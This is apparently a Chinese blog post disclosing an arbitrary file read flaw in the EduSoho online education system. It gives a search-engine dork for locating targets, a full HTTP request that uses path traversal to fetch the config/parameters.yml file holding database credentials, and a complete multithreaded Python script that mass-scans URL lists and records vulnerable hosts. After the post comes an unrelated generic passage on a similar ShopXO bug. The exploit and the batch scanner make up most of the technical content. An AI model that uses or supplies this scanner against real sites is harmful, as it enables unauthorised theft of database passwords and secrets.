教培系统EduSoho任意文件读取漏洞

声明

本文仅用于技术交流,请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
文章作者拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

目录

声明

一、漏洞简介

二、语法

三、漏洞复现

漏洞验证

数据库连接

四、POC批量验证

五、修复建议


一、漏洞简介

Edusoho是面向个人、学校、培训机构及企业用户的友好、开源、高性价比的在线教育建站系统。该系统存在配置文件读取漏洞,攻击者可以通过构造恶意代码,未授权直接下载或读取parameters.yml配置文件内容,里面包含了数据库账号密码以及secret值等敏感信息。

二、语法

鹰图:

web.title:"EduSoho"

三、漏洞复现

GET /export/classroom-course-statistics?fileNames[]=../../../config/parameters.yml HTTP/1.1
Host: 127.0.0.1:80
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=n8bl9r50ik28p4d2vva66j0pcd
Connection: close

漏洞验证

数据库连接

四、POC批量验证

# *python3*
# -*- coding: utf-8 -*-
# 教培系统EduSoho任意文件读取漏洞

import sys
import getopt
import threading
import requests
import time

def scan(url):
    payload = '/export/classroom-course-statistics?fileNames[]=../../../config/parameters.yml'
    target_url = url + payload
    header = {'Cache-Control': 'max-age=0','Upgrade-Insecure-Requests': '1','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7','Accept-Encoding': 'gzip, deflate','Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6','Cookie': 'PHPSESSID=n8bl9r50ik28p4d2vva66j0pcd','Connection': 'close'}
    try:
        re = requests.get(target_url,headers=header,timeout=5)
        if re.status_code == 200  and 'database' in re.text:
            with open('./success.txt','a+') as file:
                file.write(target_url+'\n')
            print('存在教培系统EduSoho任意文件读取漏洞 '+target_url)
        else:
            print('不存在漏洞 '+target_url)
    except:
        print('访问出现错误!')
def help():
    print("""
    -h --help       打开帮助文档
    -u --url        对单个ip进行测试
    -f --file       对文件中的所有ip进行测试
    """)
def main():
    opts,args = getopt.getopt(sys.argv[1:],
                              'hu:f:',
                              ['help','url=','file='])

    url_list = []
    for o,a in opts:
        if o in ['-h','--help']:
            help()
        elif o in ['-u','--url']:
            url = a
            url_list.append(url)
        elif o in ['-f','--file']:
            file = a
            try:
                f = open(file,'r')
                url_list = f.readlines()
                f.close()
            except:
                print('读取文件错误!')

    urls = []
    for i in url_list:
        urls.append(i.rstrip('\n')) #for循环rstrip()去掉换行符重新加入到urls列表中

    max_thread = 10
    max_num = len(urls)
    num = 0
    while(True):
        if threading.active_count()-1 < max_thread and num < max_num:
            t = threading.Thread(target=scan,args=(urls[num],))
            t.start()
            num+=1
        if num >= max_num:
            print('没有新的目标了!等待当前线程扫描结束!')
            time.sleep(2)
            if threading.active_count() -1 == 0:
                print('所有目标扫描完成!主程序退出')
                break

main()

五、修复建议

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

https://www.edusoho.com/
  • 8
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
shopxo是一种流行的开源电商系统,以其简单易用和灵活性而备受欢迎。然而,它也存在一些安全漏洞,包括任意文件读取漏洞。这个漏洞可能会使攻击者能够读取服务器上的任意文件,包括敏感的配置文件和用户数据。 要利用shopxo download任意文件读取漏洞,攻击者通常会构造特定的URL请求,注入恶意代码来访问目标文件。攻击者可能可以通过执行一系列步骤来实现此目标,例如: 1. 识别目标系统上潜在的敏感文件,如数据库配置文件、用户身份验证文件等。 2. 构造特定的URL来请求这些文件,使用目标系统的下载功能。 3. 在URL中注入特殊字符或路径遍历符号,以绕过访问限制和读取目标文件。 一旦攻击者成功读取到目标文件,他们可能会进一步利用这些信息来实施其他攻击,例如窃取用户信息、篡改网站内容或者进行其他恶意活动。 为了防范shopxo download任意文件读取漏洞,网站管理员可以采取以下措施: 1. 及时更新shopxo系统以修复任何已知漏洞,并安装最新的补丁程序。 2. 限制对敏感文件的访问权限,确保只有授权的用户能够访问它们。 3. 验证和过滤用户输入,以防止任意文件读取漏洞的利用。 4. 实施Web应用程序防火墙(WAF),以监视和阻止恶意请求。 5. 定期进行安全审计和漏洞扫描,以及对服务器和应用程序配置进行安全性评估。 通过采取这些预防措施,可以最大限度地减少shopxo download任意文件读取漏洞的风险,并确保网站和用户数据的安全性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值